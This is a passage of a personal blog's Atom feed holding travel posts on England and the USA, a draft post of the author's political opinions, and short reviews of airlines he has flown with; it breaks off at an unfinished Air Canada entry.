&lt;/ul&gt;
&lt;h1 id="liverpool"&gt;Liverpool&lt;/h1&gt;
&lt;p&gt;Land of soccer and the Beatles. Great city with plenty of activities. Quite close to Manchester. I remember going to at least two of these three places:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Merseyside Maritime Museum&lt;/li&gt;
&lt;li&gt;The Beatles Story&lt;/li&gt;
&lt;li&gt;Tate Liverpool&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You should definitely check these places out!&lt;/p&gt;
&lt;p&gt;The one time I went to Liverpool, I had the chance to attend a soccer match, Liverpool v Everton. What a great experience! The atmosphere was unique, everybody was cheering and acclaiming and drinking!&lt;/p&gt;
&lt;h1 id="bristol"&gt;Bristol&lt;/h1&gt;
&lt;p&gt;Not too much to do there but yet quite a nice town, very typical. If you're just passing through, make sure to stop at the Clifton Suspension Bridge, an impresive highly suspended bridge! If you're afraid of heights, pass on that on.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Bristol's most famous bridge" src="https://romainpellerin.eu/images/bristol.jpg"&gt;&lt;/p&gt;
&lt;p&gt;That's it for now!&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="england"></category><category term="uk"></category><category term="london"></category><category term="bristol"></category><category term="manchester"></category><category term="liverpool"></category></entry><entry><title>The USA</title><link href="https://romainpellerin.eu/the-usa.html" rel="alternate"></link><published>2017-01-10T01:00:00+01:00</published><updated>2024-08-11T13:43:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-10:/the-usa.html</id><summary type="html">&lt;p&gt;My advice about the USA&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Update: this article was updated in 2018 and 2024, following recent trips to the USA&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In 2016, I went to the US for the first time of my life. Here is a list of things I did and tips I gathered.&lt;/p&gt;
&lt;p&gt;In short, I went to NYC for a week. Then I flew to Los Angeles, where I joined my friends. The following days we went to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Santa Barbara (State Street is amazing).&lt;/li&gt;
&lt;li&gt;Baker, CA, Kelso, CA and finally Kingman (slept in a motel).&lt;/li&gt;
&lt;li&gt;The next day we discovered Kingman and then went to Williams (slept at &lt;a href="https://historichatranch.com/"&gt;The Historic Hat Ranch&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;The next day we did a trail (Bright Angels) next to Tusayan, in the Grand Canyon. We went sleeping at a campground in Monument Valley (Goulding's Campground, if my memory serves well)&lt;/li&gt;
&lt;li&gt;The next morning we rode horses in the Monument Valley Navajo Tribal Park (exact GPS coordinates: 36.934405, -110.070929). The afternoon was spent at Antelope Canyon. We slept near Page.&lt;/li&gt;
&lt;li&gt;The next day we did the Horse Shoe Bend and swam in the Lake Powell. At night we slept in a hostel at Kanab.&lt;/li&gt;
&lt;li&gt;The next day some of us went to Bryce Canyon. I went to Las Vegas.&lt;/li&gt;
&lt;li&gt;The rest of the trip was spent in: Death Valley, Yosemite (for some of us) and San Francisco.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now let's move on to my advice.&lt;/p&gt;
&lt;h1 id="to-know-before-getting-there"&gt;To know before getting there&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;At a red traffic light, you can legally turn right if no car is coming from the left side, unless there's a sign saying "No right turn on red".&lt;/li&gt;
&lt;li&gt;There are many passes for American national parks which are great deals. If you plan to visit many parks, you definitely want to check them out before buying any individual ticket.&lt;/li&gt;
&lt;li&gt;Same for most cities: &lt;a href="http://www.citypass.com/"&gt;CityPASS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;In Arizona, it is legal to camp in any national forest, in dedicated areas, for free&lt;/li&gt;
&lt;li&gt;If you rent a car, any additional driver must come and be physically present with their driving licence the day you're getting the car, otherwise the employee won't add them as an authorized driver.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-to-do-in-nyc"&gt;Things to do in NYC&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/manhattanhenge.jpg" alt="Sunset in New York" /&gt;
&lt;figcaption&gt;&lt;strong&gt;Manhattanhenge&lt;/strong&gt;. Find the right spot, for the best picture. Happens only twice a year.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;CityPass is a must for most travellers, it gives access to 6 major places, with incredible value.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Edit 2024: they updated their offers. There are now 3 different bundles, with increasing prices: 3 attractions (C3 - $104), 5 attractions (CityPASS - $146), or 10 (C·All $229).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I've been to NYC a couple of times. Here is a list of activities I did there (or did not but I would have loved to do).&lt;/p&gt;
&lt;h2 id="during-daytime"&gt;During daytime&lt;/h2&gt;
&lt;p&gt;The following fews places are doable in a single day, in the following optimized order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Little Italy, Chinatown and Soho: &lt;a href="http://www.freetoursbyfoot.com/new-york-tours/walking-tours/soho-little-italy-chinatown/"&gt;you can go for a free tour&lt;/a&gt; or do it by yourself. These neighborhoods are very close to one another, you can visit them in 2 hours.&lt;/li&gt;
&lt;li&gt;Washington Square Park&lt;/li&gt;
&lt;li&gt;Flat Iron &amp;amp; Madison Square (there are cute squirrels) &amp;amp; the video portal to Dublin&lt;/li&gt;
&lt;li&gt;Empire State Building (up to the 86th floor)&lt;/li&gt;
&lt;li&gt;Grand central: the train station&lt;/li&gt;
&lt;li&gt;Rockefeller Center (late afternoon/early evening, to enjoy the sunset)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The rest is more time-consuming:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Statue of Liberty and Ellis Island: take the ferry, there are tours which include both locations for $18 (if my memory serves well). Dedicate half a day to that. The line to the boat from Battery Park can take up to an hour and a half. If you book it early enough (at least 3 months), you can also visit the crown of the statue.&lt;/li&gt;
&lt;li&gt;Charging Bull, in Wall Street: I recommend you do it after coming back from Ellis Island, in the evening. It's less crowded.&lt;/li&gt;
&lt;li&gt;Edge, Hudson Yards&lt;/li&gt;
&lt;li&gt;The MoMA (Museum of Modern Art): at least 3 hours, the best floors are the 4th and the 5th&lt;/li&gt;
&lt;li&gt;The MET (Metropolitan Museum of Art)&lt;/li&gt;
&lt;li&gt;Central park (don't miss out the Balto statue)&lt;/li&gt;
&lt;li&gt;The American Museum of Natural History&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The 9/11 Memorial Museum (it can take up to 3-4 hours, and at the very least 2 hours):&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;First, go down to the lowest floor, then make a left and head towards to room under the North Tower: it's the best part of the museum. It easily takes an hour, maybe an hour and a half to go through it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Then, do the rest of the museum.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Don't forget about the 11-min film called "Rebirth", under the South Tower.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Coney Island&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;St. Mark's Place, in East Village&lt;/li&gt;
&lt;li&gt;In Brooklyn: Williamsburg and Dumbo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following places offer a great view at any time of the day. If you want to enjoy them as much as you can, my advice is to get there at around 7pm and stay for about 2 hours. This way you'll get the view at night also.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Times Square: don't forget to say hi to the &lt;a href="https://en.wikipedia.org/wiki/Naked_Cowboy"&gt;Naked Cowboy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Brooklyn Bridge, the Brooklyn Heights Promenade and the piers below&lt;/li&gt;
&lt;li&gt;Dumbo - Manhattan Bridge View&lt;/li&gt;
&lt;li&gt;One World Trade Center&lt;/li&gt;
&lt;li&gt;Check out the Bean Sculpture a few blocks away&lt;/li&gt;
&lt;li&gt;The High Line (careful, it closes at 10pm)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="at-night"&gt;At night&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Broadway (the district referred to as, not the street): many theaters along Broadway Street and Times Square. Go watch a musical if you can!&lt;/li&gt;
&lt;li&gt;Greenwich Village: it was the center of the folk music scene in the early 1960s. MacDougal Street was the Main Street of Greenwich Village. The most popular folksingers played in clubs on MacDougal.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="going-to-and-from-airports"&gt;Going to and from airports&lt;/h2&gt;
&lt;h3 id="laguardia"&gt;LaGuardia&lt;/h3&gt;
&lt;p&gt;The LaGuardia Link Q70 bus line is fare free. Otherwise, they are other paid buses one can ride.&lt;/p&gt;
&lt;h3 id="ewr-newark-liberty-international-airport"&gt;EWR - Newark Liberty International Airport&lt;/h3&gt;
&lt;p&gt;This one is tricky, there are many many options. Here are two, the most convenient + fastest one, and the cheapest one (from my experience!):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Convenient+fast&lt;/strong&gt;: in 30 mins and for a little less than $20 and a single ticket, go to/leave from New York Penn Station and arrive directly at the aiport by riding the NJ TRANSIT train to Newark Liberty International Airport Station, then switch to AirTrain (using the same ticket), that will take you to your terminal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cheapest&lt;/strong&gt;: in just under 60 minutes, go to/leave from New York Penn Station riding the NJ TRANSIT train to Newark Penn Station ($6), then get on the bus 62 (less than $2) to your terminal.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="paying-for-public-transport-in-nyc"&gt;Paying for public transport in NYC&lt;/h2&gt;
&lt;p&gt;You can basically buy a MetroCard, pay directly with your phone/credit card by tapping it, or get OMNI. All 3 options are essentially the same, with subtle differences worth knowing if you want to save a few dollars:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://new.mta.info/fares#:~:text=With%20OMNY%20or%20a%20pay,subway%2C%20or%20bus%20to%20bus"&gt;Everything you need to know about fares in New York &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/AskNYC/comments/124cij4/metro_card_vs_omny_for_visitors/"&gt;Metro card vs OMNY for visitors&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My best advice remains: ride a Citibike!! (it's not cheap though 😂 - $19 per Day Pass)&lt;/p&gt;
&lt;h1 id="things-to-do-in-philadelphia"&gt;Things to do in Philadelphia&lt;/h1&gt;
&lt;p&gt;Good to know: street parking there is pretty cheap, about $2.5 to $3 per hour.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Museum of Art&lt;/li&gt;
&lt;li&gt;Rocky steps and Rocky statue&lt;/li&gt;
&lt;li&gt;Washington Square&lt;/li&gt;
&lt;li&gt;Liberty Bell&lt;/li&gt;
&lt;li&gt;Independance Hall&lt;/li&gt;
&lt;li&gt;Chinatown&lt;/li&gt;
&lt;li&gt;Reading Terminal Market&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-to-do-in-washington"&gt;Things to do in Washington&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Arlington National Cemetery: JFK Gravesite and the Tomb of the Unknown Soldier&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, drive towards downtown, park somewhere cheap, and rent public bikes (Capital BikeShare)! It's only $8 per day, with unlimited 30-min rides.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Albert Einstein Memorial&lt;/li&gt;
&lt;li&gt;Vietnam Veterans Memorial&lt;/li&gt;
&lt;li&gt;Lincoln Memorial&lt;/li&gt;
&lt;li&gt;Korean War Veterans Memorial&lt;/li&gt;
&lt;li&gt;Thomas Jefferson Memorial&lt;/li&gt;
&lt;li&gt;Franklin Delano Roosevelt Memorial (quite big!)&lt;/li&gt;
&lt;li&gt;Martin Luther King, Jr. Memorial&lt;/li&gt;
&lt;li&gt;D.C. War Memorial&lt;/li&gt;
&lt;li&gt;Lincoln Memorial Reflecting Pool&lt;/li&gt;
&lt;li&gt;World War II Memorial&lt;/li&gt;
&lt;li&gt;Washington Monument&lt;/li&gt;
&lt;li&gt;The Capitol&lt;/li&gt;
&lt;li&gt;The White House&lt;/li&gt;
&lt;li&gt;Lafayette Square&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you're staying more than a day, then maybe you could visit the Pentagon.&lt;/p&gt;
&lt;h1 id="things-to-do-in-atlanta"&gt;Things to do in Atlanta&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The Beltine is a must-see!&lt;/li&gt;
&lt;li&gt;Martin Luther King, Jr. National Historical Park&lt;/li&gt;
&lt;li&gt;The King Center&lt;/li&gt;
&lt;li&gt;Dr. Martin Luther King Jr. Tomb&lt;/li&gt;
&lt;li&gt;King Jr Martin Luther- Birth Home&lt;/li&gt;
&lt;li&gt;Jackson Street Bridge (famous scene from The Walking Dead)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We were told that the CNN studios tours are fun, as well as the Coca Cola factory. Also, Piedmont Park.&lt;/p&gt;
&lt;p&gt;Outside of Atlanta, drive an hour south and go to Senoia, a filming location of The Walking Dead, featuring the Waking Dead Cafe, an official shop and Chris Twellmann's amazing shop! Thistown was used to film Woodburry and Alexandria.&lt;/p&gt;
&lt;h1 id="things-to-do-in-orlando-or-nearby"&gt;Things to do in Orlando or nearby&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;An amusement park. However, be aware that DisneyWorld Magic Kingdom is stricly identical to Disneyland Paris, except for its price. Twice as expensive as its French counterpart.&lt;/li&gt;
&lt;li&gt;3 Sister Springs&lt;/li&gt;
&lt;li&gt;Wekiwa Springs&lt;/li&gt;
&lt;li&gt;Cocoa Beach&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-to-do-in-miami"&gt;Things to do in Miami&lt;/h1&gt;
&lt;p&gt;Check the Go Miami Card out, it might be worth buying one. It's more or less like a CityPass.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Keys: allocate a full day if you plan to going to the southernmost island.&lt;/li&gt;
&lt;li&gt;A air boat ride in the Everglades. We went with Gator Park. It's very cheap, about $20 per person, but we only got to see one alligator in the wild. Apparently, April to September is the nesting season so very few are out there, visible.&lt;/li&gt;
&lt;li&gt;South Beach&lt;/li&gt;
&lt;li&gt;Downtown, Hard Rock Café&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="tips-for-las-vegas"&gt;Tips for Las Vegas&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Old city center&lt;/li&gt;
&lt;li&gt;The Strip, of course&lt;/li&gt;
&lt;li&gt;You can drink any kind of beverage in casinos as long as you are playing (even if gambling only $1). Of course tipping is highly recommended.&lt;/li&gt;
&lt;li&gt;Watch &lt;a href="https://www.youtube.com/watch?v=mfve-4wuUz8"&gt;Las Vegas in 24 hours&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Really funny slot machines:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bamboo Panda in the Mirage Hotel&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Aladin and the Magic Lamp at Casino Royale&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encore Beach Club is a nice place to go to&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Omnia, in Caesar's palace, is a great nightclub&lt;/li&gt;
&lt;li&gt;Same for XS Las Vegas&lt;/li&gt;
&lt;li&gt;Looking for a good Airbnb host? Mine was great. Here's the address: 605 S Royal Crest Cir UNIT 20, Las Vegas, NV 89169&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="places-to-see-in-los-angeles"&gt;Places to see in Los Angeles&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The Hollywood sign and Hollywood boulevard&lt;/li&gt;
&lt;li&gt;The Perch (a rooftop bar)&lt;/li&gt;
&lt;li&gt;Homer Laughlin Building&lt;/li&gt;
&lt;li&gt;Santa Monica Pier&lt;/li&gt;
&lt;li&gt;The Observatory (so much to see inside the building, plus the view of course)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="places-to-see-in-the-grand-canyon"&gt;Places to see in the Grand Canyon&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Havasupai&lt;/li&gt;
&lt;li&gt;Horseshoe bend&lt;/li&gt;
&lt;li&gt;Antelope canyon (&lt;a href="https://www.tripadvisor.com/ShowUserReviews-g60834-d4426581-r350723998-Upper_Antelope_Canyon-Page_Arizona.html"&gt;the Lower tour is supposedly better than the Upper&lt;/a&gt;): try to go around noon for optimal lighting.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="nice-places-to-stay-in-arizona"&gt;Nice places to stay in Arizona&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Hat Ranch: a Airbnb ranch in Williams&lt;/li&gt;
&lt;li&gt;Travelodge in Kingman&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="san-francisco"&gt;San Francisco&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Need some last minute gear? &lt;a href="https://www.lastmingear.com/"&gt;There you go&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;Best bar &lt;strong&gt;EVER&lt;/strong&gt;: &lt;a href="http://www.madroneartbar.com/"&gt;Madrone Art Bar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Alcatraz&lt;/li&gt;
&lt;li&gt;Mr Tipple: nice jazz bar, drinks are a bit expensive though&lt;/li&gt;
&lt;li&gt;Golden Gate Park: do the Japanese garden and botanical garden, both are awesome&lt;/li&gt;
&lt;li&gt;Golden Gate Bridge, of course&lt;/li&gt;
&lt;li&gt;Castro&lt;/li&gt;
&lt;li&gt;Chinatown&lt;/li&gt;
&lt;li&gt;Japantown&lt;/li&gt;
&lt;li&gt;Ride a cable car and visit for free the Cable Car Museum&lt;/li&gt;
&lt;li&gt;Union square: check out the Love Sign at Grand Hyatt&lt;/li&gt;
&lt;li&gt;Twin Peaks&lt;/li&gt;
&lt;li&gt;Haight street&lt;/li&gt;
&lt;li&gt;Lombard Street&lt;/li&gt;
&lt;li&gt;Mission Dolores Park&lt;/li&gt;
&lt;li&gt;Baker Beach&lt;/li&gt;
&lt;li&gt;Martuni's: amazing piano bar&lt;/li&gt;
&lt;li&gt;Isotope, on Fell Street: best comic shop of San Francisco. James, the owner, is a great guy, very friendly and helpful&lt;/li&gt;
&lt;li&gt;Painted Ladies&lt;/li&gt;
&lt;li&gt;Patricia's Green&lt;/li&gt;
&lt;li&gt;Pier 39&lt;/li&gt;
&lt;li&gt;Musée Mécanique: great stuff in there, prepare a lots of coins to spend&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other-places-to-see"&gt;Other places to see&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Death Valley: do the 3-hour horse ride&lt;/li&gt;
&lt;li&gt;Sequoia National Park&lt;/li&gt;
&lt;li&gt;Muir Woods National Monument&lt;/li&gt;
&lt;li&gt;A Six flags park: there are such parks in most states&lt;/li&gt;
&lt;li&gt;Mount Rushmore&lt;/li&gt;
&lt;li&gt;Go to a drive-in theater, it's definitely worth it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="zion"&gt;Zion&lt;/h2&gt;
&lt;p&gt;If you go to Zion Park and happen to be in good shape and fearless, do the crazy Angels Langing trail! Book a full day for it though.&lt;/p&gt;
&lt;iframe width="800" height="450" src="https://www.youtube-nocookie.com/embed/QXsbspHMcm4?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;You will find here a more thorough description: &lt;a href="https://www.alltrails.com/trail/us/utah/angels-landing-trail"&gt;https://www.alltrails.com/trail/us/utah/angels-landing-trail&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Don't have the time? Too scared? &lt;a href="https://www.citrusmilo.com/zionguide/obspoint.cfm"&gt;This one&lt;/a&gt; looks awesome too!&lt;/p&gt;
&lt;p&gt;You might also want to check out &lt;a href="http://www.roadtrippin.fr/utah/zion/zion.php"&gt;other trails&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="yosemite"&gt;Yosemite&lt;/h2&gt;
&lt;p&gt;Do the round-trip trail to Glacier Point: awesome view!!!&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="usa"></category></entry><entry><title>Political Notes</title><link href="https://romainpellerin.eu/political-notes.html" rel="alternate"></link><published>2017-01-10T00:50:00+01:00</published><updated>2018-11-29T21:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-10:/political-notes.html</id><summary type="html">&lt;p&gt;Thoughts about politics&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;&lt;em&gt;This is a draft article.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Social_liberalism"&gt;Social liberalism&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Fiscal_conservatism"&gt;Fiscal conservatism&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stallman.org/#politics"&gt;Richard Stallman's Political Articles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stallman.org/archives/2016-nov-feb.html"&gt;Richard Stallman's Political Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The retirement age should be increased gradually as life expectancy improves. There should not be an upper limit: anyone must be able to keep working as long as they want. However there should be a minimum age.&lt;/li&gt;
&lt;li&gt;Gay couples should have the &lt;strong&gt;exact same rights&lt;/strong&gt; as straight couples, especially regarding marriage and adoption. Preventing them from accessing such basic rights is just as stupid as preventing women from voting. Once the norm, it would nowadays sound ridiculous and outrageous.&lt;/li&gt;
&lt;li&gt;I am in favor of abortion.&lt;/li&gt;
&lt;li&gt;Public institutions and schools should &lt;strong&gt;not&lt;/strong&gt; rely on proprietary software like Microsoft Windows. A GNU/Linux-based distribution should be de-facto installed on every computer. Proprietary software could be used as a last resort when special requirements apply (a specific software program for instance). This way, governments would save millions of euros/dollars (licenses are expensive).&lt;/li&gt;
&lt;li&gt;Healthcare should be universal and free. By free, I mean paid for by the government through tax revenue. Not by private companies whatsoever. It's not about how much one values a car, it's about us as human beings.&lt;/li&gt;
&lt;li&gt;We should all aim at reducing pollution. Sales of new diesel cars should be forbidden &lt;strong&gt;NOW&lt;/strong&gt;. Then, within the next five to ten years, &lt;a href="http://www.ibtimes.co.uk/netherlands-wants-ban-non-electric-car-sales-by-2025-1576071"&gt;All non-electric car sales should be banned&lt;/a&gt;. &lt;a href="http://www.pcmag.com/article2/0,2817,2423424,00.asp"&gt;Hybrid cars are just a temporary solution.&lt;/a&gt; It misses the long-term goal.&lt;/li&gt;
&lt;li&gt;The working hours of a week should be negotiable on a 35 to 40-hour base, for a full-time worker.&lt;/li&gt;
&lt;li&gt;Basic income has to be taken into consideration seriously and experimented for that global population is climbing at a high pace towards &lt;a href="https://esa.un.org/unpd/wpp/Graphs/Probabilistic/POP/TOT/"&gt;10B people by 2060&lt;/a&gt; and a great number of jobs will soon by replaced by robots. I am not saying that it is the right way to go. Instead, I truly believe this could be a workable solution. Of course taxation would have to be reformed in order to finance it.&lt;ul&gt;
&lt;li&gt;&lt;a href="https://techcrunch.com/2016/10/09/industrial-robots-will-replace-manufacturing-jobs-and-thats-a-good-thing/"&gt;Industrial robots will replace manufacturing jobs — and that’s a good thing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bbc.com/news/technology-34066941"&gt;Will a robot take your job?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.replacedbyrobot.info/"&gt;Will your job be replaced by a robot?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Marijuana (cannabis) consumption should be legal. Both medical and recreational use should be allowed and regulated by heavy taxation. &lt;a href="http://www.reuters.com/article/idUSL5730185"&gt;As seen in the Netherlands&lt;/a&gt;, &lt;a href="http://news.berkeley.edu/2011/09/13/lessons-from-dutch-cannabis-system/"&gt;consumption in countries where it is legal tends to be lower than countries where it is not&lt;/a&gt;. Instead of wasting millions in the fight against it (which has proven to be ineffective), a smaller amount of money should be invested in prevention through media campaigns and events.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="interesting-resources"&gt;Interesting resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rev-parti.fr/base-programmatique/"&gt;Parti écologiste antispéciste et non-violent, pour la justice économique globale et les droits des humains, des non humains et des écosystèmes.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="politics"></category></entry><entry><title>Airlines</title><link href="https://romainpellerin.eu/airlines.html" rel="alternate"></link><published>2017-01-05T12:50:00+01:00</published><updated>2025-02-03T00:43:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-05:/airlines.html</id><summary type="html">&lt;p&gt;Recommendations and advice for travelers&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is a draft article about airlines I got to fly with.&lt;/p&gt;
&lt;h1 id="air-france"&gt;Air France&lt;/h1&gt;
&lt;p&gt;Kind personel! Usually the crew is very welcoming. Great meals.&lt;/p&gt;
&lt;h1 id="aeroflot"&gt;Aeroflot&lt;/h1&gt;
&lt;p&gt;They guess when you're thirsty (basically any time I would press the "Fly Attendant Call button"). However, their TV screens are slow as fuck. And yet they have the latest movies available. Sleeping masks (very comfortable by the way) and kind of slippers provided for free (economy class). Meals were good. WiFi is expensive (5 USD for 15 minutes). Meals were good and of different kinds.&lt;/p&gt;
&lt;h1 id="peach"&gt;Peach&lt;/h1&gt;
&lt;p&gt;Really cheap but very little service. I flew once with them, for barely two hours, maybe three.&lt;/p&gt;
&lt;h1 id="air-india"&gt;Air India&lt;/h1&gt;
&lt;p&gt;Good personel. Great meals.&lt;/p&gt;
&lt;h1 id="china-airlines"&gt;China Airlines&lt;/h1&gt;
&lt;p&gt;Great company although I don't remember much about the one time I flew with them.&lt;/p&gt;
&lt;h1 id="easyjet"&gt;easyJet&lt;/h1&gt;
&lt;p&gt;Small aircrafts, do not expect anything crazy, it is a low cost company. No meals, no Wi-Fi, no TV screens.&lt;/p&gt;
&lt;h1 id="ryanair"&gt;Ryanair&lt;/h1&gt;
&lt;p&gt;Same as easyJet.&lt;/p&gt;
&lt;h1 id="virgin-america"&gt;Virgin America&lt;/h1&gt;
&lt;p&gt;Paid Wi-Fi (can be bypassed using a VPN, though). Drinks are free.&lt;/p&gt;
&lt;h1 id="wow-air"&gt;WOW air&lt;/h1&gt;
&lt;p&gt;Supposedly a low cost company. They charge everything else though, even my normal sized carry-on bagage. What you get for free is a tiny bag, not bigger than a backpack. No meal included (on a 9 hour flight). No Wi-Fi. No TV screens on seats. Even water is paid ($2.99).&lt;/p&gt;
&lt;p&gt;One time, we showed up at the airport and the service agent could not find one of our paid hold luggage on our booking: she believed we hadn't paid for one piece, although we had. She had us pay at the desk in order to check in. Several weeks later, it took many emails to and from them to convince them it was an error from her to make us pay. I eventually got refunded.&lt;/p&gt;
&lt;h1 id="norwegian"&gt;Norwegian&lt;/h1&gt;
&lt;p&gt;Pretty much the same as WoW air, although they have TV screens. As far as I remember, you don't get any food or drinks for free. I was lucky enough to get on their first flight to New York City. Nice lighting in the cabin right after landing.&lt;/p&gt;
&lt;p&gt;Oh, and they offer free WiFi.&lt;/p&gt;
&lt;h1 id="tui-fly"&gt;Tui Fly&lt;/h1&gt;
&lt;p&gt;Nice one. On a 9 hour fly from Miami to Paris we got dinner and breakfast, plus sodas for free. Alcoholic drinks were paid. Seats are equipped with TV screens and fairly recent movies are available. No free or paid Wi-Fi on board. Quite big aircrafts, mine was a Boeing 787, Dreamliner.&lt;/p&gt;
&lt;h1 id="vueling"&gt;Vueling&lt;/h1&gt;
&lt;p&gt;Low-cost spanish company. No free drinks or meals. When I flew with them, the had shortages of food, not everything on the menu was available. No TV screens. No wifi. Not much room for the legs. A classic low-cost airline, to sum it up.&lt;/p&gt;
&lt;h1 id="tap-air-portugal"&gt;TAP Air Portugal&lt;/h1&gt;
&lt;p&gt;The official portuguese airline? Even on short flights (~2 hours), we had a free meal and a beverage. No TV screens on the seats. Not much space for legs.&lt;/p&gt;
&lt;h1 id="joon"&gt;Joon&lt;/h1&gt;
&lt;p&gt;Owned by Air France, doomed to merge with Air France some time in 2019. I only flied with them to go to Berlin from Paris and back. Each time, I was served a snack or a sandwich with a drink (with or without alcohol) for free. No TV screens on seats. One time, I was denied boarding because you know, all airlines do overbooking, and that time I was one of the two lucky guys who checked in at the very last minute. Unfortunately, every expected passenger showed up, so no seat for me. They offered a 175 euro voucher + a night at a nearby Ibis hotel + taxi to and from hotel. I took the next morning flight for free of course but still, a pain in the ass...&lt;/p&gt;
&lt;h1 id="united"&gt;United&lt;/h1&gt;
&lt;p&gt;On a 7+ hour flight, they served us two meals, fairly light if I'm honest (and looking at the calories tags! - around 600 to 700 kcal if I recall correctly). One right after taking off, one about an hour before landing. The second was the lightest one. Besides that, friendly staff, I could ask for more food after they were done serving everyone. Decent catalogue of movies to watch. Shitty buggy TV screens. We got a blanket and a travel pillow by default. They did not bother me with my overly big backpack (Decathlon Travel 100, 60 liters) when boarding.&lt;/p&gt;
&lt;h1 id="air-canada"&gt;Air Canada&lt;/h1&gt;
